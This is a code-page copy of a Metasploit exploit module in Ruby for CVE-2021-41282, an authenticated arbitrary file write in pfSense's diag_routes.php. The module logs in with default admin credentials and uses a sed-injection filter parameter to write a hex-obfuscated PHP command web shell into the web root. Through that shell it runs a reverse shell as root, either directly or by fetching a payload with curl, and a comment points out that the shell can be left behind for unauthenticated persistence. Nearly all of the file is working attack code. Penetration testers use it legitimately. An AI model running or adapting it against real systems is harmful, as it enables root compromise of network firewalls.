PageRenderTime 70ms CodeModel.GetById 41ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb

https://github.com/rapid7/metasploit-framework
Ruby | 227 lines | 198 code | 13 blank | 16 comment | 7 complexity | 22e1160572bc73cfb0af4cf7ff0eb45d MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::CmdStager
  9. include Msf::Exploit::FileDropper
  10. prepend Msf::Exploit::Remote::AutoCheck
  11. def initialize(info = {})
  12. super(
  13. update_info(
  14. info,
  15. 'Name' => 'pfSense Diag Routes Web Shell Upload',
  16. 'Description' => %q{
  17. This module exploits an arbitrary file creation vulnerability in the pfSense
  18. HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
  19. and can be exploited by an authenticated user if they have the
  20. "WebCfg - Diagnostics: Routing tables" privilege.
  21. This module uses the vulnerability to create a web shell and execute payloads
  22. with root privileges.
  23. },
  24. 'License' => MSF_LICENSE,
  25. 'Author' => [
  26. 'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
  27. 'jbaines-r7' # metasploit module
  28. ],
  29. 'References' => [
  30. ['CVE', '2021-41282'],
  31. ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
  32. ],
  33. 'DisclosureDate' => '2022-02-23',
  34. 'Platform' => ['unix', 'bsd'],
  35. 'Arch' => [ARCH_CMD, ARCH_X64],
  36. 'Privileged' => true,
  37. 'Targets' => [
  38. [
  39. 'Unix Command',
  40. {
  41. 'Platform' => 'unix',
  42. 'Arch' => ARCH_CMD,
  43. 'Type' => :unix_cmd,
  44. 'DefaultOptions' => {
  45. 'PAYLOAD' => 'cmd/unix/reverse_openssl'
  46. },
  47. 'Payload' => {
  48. 'Append' => ' & disown'
  49. }
  50. }
  51. ],
  52. [
  53. 'BSD Dropper',
  54. {
  55. 'Platform' => 'bsd',
  56. 'Arch' => [ARCH_X64],
  57. 'Type' => :bsd_dropper,
  58. 'CmdStagerFlavor' => [ 'curl' ],
  59. 'DefaultOptions' => {
  60. 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
  61. }
  62. }
  63. ]
  64. ],
  65. 'DefaultTarget' => 1,
  66. 'DefaultOptions' => {
  67. 'RPORT' => 443,
  68. 'SSL' => true
  69. },
  70. 'Notes' => {
  71. 'Stability' => [CRASH_SAFE],
  72. 'Reliability' => [REPEATABLE_SESSION],
  73. 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
  74. }
  75. )
  76. )
  77. register_options [
  78. OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
  79. OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
  80. OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
  81. OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
  82. ]
  83. @webshell_uri = '/'
  84. @webshell_path = '/usr/local/www/'
  85. end
  86. # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
  87. # pfsense permissions can be so locked down that we have to try direct exploitation
  88. # in order to determine vulnerability. A user can even be restricted from the
  89. # dashboard (where other pfsense modules extract the version).
  90. def check
  91. # Grab a CSRF token so that we can log in
  92. res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
  93. return CheckCode::Unknown("Didn't receive a response from the target.") unless res
  94. return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
  95. return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
  96. /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
  97. return CheckCode::Unknown('Could not find CSRF token') unless csrf
  98. # send the log in attempt
  99. res = send_request_cgi(
  100. 'uri' => normalize_uri(target_uri.path, '/index.php'),
  101. 'method' => 'POST',
  102. 'vars_post' => {
  103. '__csrf_magic' => csrf,
  104. 'usernamefld' => datastore['USERNAME'],
  105. 'passwordfld' => datastore['PASSWORD'],
  106. 'login' => ''
  107. }
  108. )
  109. return CheckCode::Detected('No response to log in attempt.') unless res
  110. return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
  111. # save the auth cookie for later user
  112. @auth_cookies = res.get_cookies
  113. # attempt the exploit. Upload a random file to /usr/local/www/ with random contents
  114. filename = Rex::Text.rand_text_alpha(4..12)
  115. contents = Rex::Text.rand_text_alpha(16..32)
  116. res = send_request_cgi({
  117. 'method' => 'GET',
  118. 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
  119. 'cookie' => @auth_cookies,
  120. 'encode_params' => false,
  121. 'vars_get' => {
  122. 'isAjax' => '1',
  123. 'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
  124. }
  125. })
  126. return CheckCode::Safe('No response to upload attempt.') unless res
  127. return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
  128. # Validate the exploit was successful by requesting the uploaded file
  129. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
  130. return CheckCode::Safe('No response to exploit validation check.') unless res
  131. return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
  132. register_file_for_cleanup("#{@webshell_path}#{filename}")
  133. CheckCode::Vulnerable()
  134. end
  135. # Using the path traversal, upload a php webshell to the remote target
  136. def drop_webshell
  137. webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
  138. print_status("Uploading webshell to #{webshell_location}")
  139. # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
  140. php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
  141. res = send_request_cgi({
  142. 'method' => 'GET',
  143. 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
  144. 'cookie' => @auth_cookies,
  145. 'encode_params' => false,
  146. 'vars_get' => {
  147. 'isAjax' => '1',
  148. 'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
  149. }
  150. })
  151. fail_with(Failure::Disconnected, 'Connection failed') unless res
  152. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
  153. # Test the web shell installed by echoing a random string and ensure it appears in the res.body
  154. print_status('Testing if web shell installation was successful')
  155. rand_data = Rex::Text.rand_text_alphanumeric(16..32)
  156. res = execute_via_webshell("echo #{rand_data}")
  157. fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
  158. print_good("Web shell installed at #{webshell_location}")
  159. # This is a great place to leave a web shell for persistence since it doesn't require auth
  160. # to touch it. By default, we'll clean this up but the attacker has to option to leave it
  161. if datastore['DELETE_WEBSHELL']
  162. register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
  163. end
  164. end
  165. # Executes commands via the uploaded webshell
  166. def execute_via_webshell(cmd)
  167. if target['Type'] == :bsd_dropper
  168. # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
  169. # way to force the payload to background itself (and thus allow the HTTP response to
  170. # to return). So we hack it in ourselves. This identifies the ending file cleanup
  171. # which should be right after executing the payload.
  172. cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
  173. end
  174. res = send_request_cgi({
  175. 'method' => 'GET',
  176. 'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
  177. 'vars_get' => {
  178. 'cmd' => cmd
  179. }
  180. })
  181. fail_with(Failure::Disconnected, 'Connection failed') unless res
  182. fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
  183. res
  184. end
  185. def execute_command(cmd, _opts = {})
  186. execute_via_webshell(cmd)
  187. end
  188. def exploit
  189. # create a randomish web shell name if the user doesn't specify one
  190. @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
  191. drop_webshell
  192. print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
  193. case target['Type']
  194. when :unix_cmd
  195. execute_command(payload.encoded)
  196. when :bsd_dropper
  197. execute_cmdstager
  198. end
  199. end
  200. end